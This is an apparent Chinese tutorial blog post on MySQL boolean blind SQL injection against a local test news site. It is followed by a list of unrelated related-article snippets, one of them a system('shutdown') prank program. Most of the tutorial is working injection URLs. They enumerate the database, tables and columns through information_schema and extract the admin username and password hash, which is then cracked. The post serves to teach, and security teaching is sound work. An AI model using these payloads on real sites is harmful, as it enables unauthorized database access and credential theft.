漏洞原理MySQL注入布尔盲注入

news/2025/2/11 22:59:59/

1 判断MySql注入点是否存在 利用盲注入的方式

http://127.0.0.1/news/show.php?id=46 and 1=1 # 正常显示

http://127.0.0.1/news/show.php?id=46 and 1=2 # 不显示

2 获取数据库的长度

http://127.0.0.1/news/show.php?id=46 and length(database())=n n的范围是从 1 开始

http://127.0.0.1/news/show.php?id=46 and length(database())=1


http://127.0.0.1/news/show.php?id=46 and length(database())=2

http://127.0.0.1/news/show.php?id=46 and length(database())=3

http://127.0.0.1/news/show.php?id=46 and length(database())=4 找到数据库的长度为 4

http://127.0.0.1/news/show.php?id=46 and length(database())=5

3 获取数据库的字符串的名字

先变换n的值,获取对应的字母;变换m的值,获取其它字母。

# m:[1,4],n:[32,126]可见字符的范围

#select ord(substr(database(),m,1))=n;

获取的数据库名是news

4 获取news数据库的所有表名组合起来的字符串

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=100

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=99

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=98 获取数据库所有字段的长度是98

http://127.0.0.1/news/show.php
?id=46 and length((select group_concat(table_name) from information_schema.tables where table_schema='news'))=97

构造url: m的范围[1~98],n的范围[32~126]

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='news'),m,1))=n

获取数据库所有表的名字  news_article,news_category,news_file,news_friendlink,news_message,news_notice,news_page,news_users

获取news_users表所有字段组合起来的名称 长度

select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users';

select ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),1,1))=117;

http://127.0.0.1/news/show.php ?id=46 and ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='news' and table_name='news_users'),m,1))=n

userid,username,password

6  获取news数据库的news_users表的username字段的值

原理:

select length((select group_concat(**username**) from news_users));

获取长度为:5

select group_concat(username) from news_users;
select ord(substr((select group_concat(username) from news_users),1,1))=97;

构造url

http://127.0.0.1/news/show.php
?id=46 and ord(substr((select group_concat(username) from news_users),1,1))=97

得到news数据库的news_users表的username字段的值:admin

按照相同的方式,可以获取password字段的hash值: e10adc3949ba59abbe56e057f20f883e

再通过cmd5查询得到值: 123456


http://www.ppmy.cn/news/1336574.html

相关文章

【使用opencv、python、dlib实现人脸关键点检测、眨眼检测和嘴巴开闭检测,可简单用于疲劳检测】

使用opencv、python、dlib实现人脸关键点检测、眨眼检测和嘴巴开闭检测,可简单用于疲劳检测 环境准备opencvdlib 原理眨眼检测张嘴检测原理 代码示例人脸关键点检测眨眼检测张嘴检测 写在最后 环境准备 opencv 一、简单介绍 OpenCV (Open Source Computer Vision…

FastBee开源物联网平台2.0开源版发布啦!!!

一、项目介绍 物美智能(wumei-smart)更名为蜂信物联(FastBee)。 FastBee开源物联网平台,简单易用,更适合中小企业和个人学习使用。适用于智能家居、智慧办公、智慧社区、农业监测、水利监测、工业控制等。 系统后端采用Spring boot;前端采用…

大模型时序应用——基于对比学习的时序数据embedding

本文是由北京大学和阿里联合发布的大模型应用研究论文,总结了使用今天的语言模型(LLM)完成时间序列(TS)任务的两种策略,并设计了一种适合于LLM的TS嵌入方法——TEST——来激活LLM对TS数据的能力&#xff0c…

小红的回文串构造

本题链接:登录—专业IT笔试面试备考平台_牛客网 题目: 样例1: 输入 abba 输出 baab 样例2: 输入 aba 输出 -1 思路: 由题意,题目保证给出的字符串是回文串的,所以我们只需要获取两个不同的…

纯html+js+css个人博客

首页 <!DOCTYPE HTML> <html> <head> <title>博客</title> <meta http-equiv"Content-Type" content"text/html; charsetutf-8" /> <meta name"viewport" content"widthdevice-width, initial-sca…

应急消防应用步入“繁花”时代,卓翼智能消防无人机顺势而行大有可为

近日&#xff0c;北京卓翼智能科技有限公司&#xff08;以下简称“卓翼智能”&#xff09;宣布完成超亿元B轮融资&#xff0c;融资金额高达2.5亿元。这个“智能无人系统”黑马品牌&#xff0c;凭什么出圈&#xff1f;重点发力在哪些领域呢&#xff1f;今天&#xff0c;带你走进…

关机恶搞小程序

1. system("shutdown")的介绍 当system函数的参数是"shutdown"时&#xff0c;它将会执行系统的关机命令。 具体来说&#xff0c;system("shutdown")的功能是向操作系统发送一个关机信号&#xff0c;请求关闭计算机。这将触发操作系统执行一系列…

分类预测 | Matlab实现SCN-Adaboost随机配置网络模型SCN的Adaboost数据分类预测/故障识别

分类预测 | Matlab实现SCN-Adaboost随机配置网络模型SCN的Adaboost数据分类预测/故障识别 目录 分类预测 | Matlab实现SCN-Adaboost随机配置网络模型SCN的Adaboost数据分类预测/故障识别分类效果基本描述程序设计参考资料 分类效果 基本描述 1.Matlab实现SCN-Adaboost随机配置网…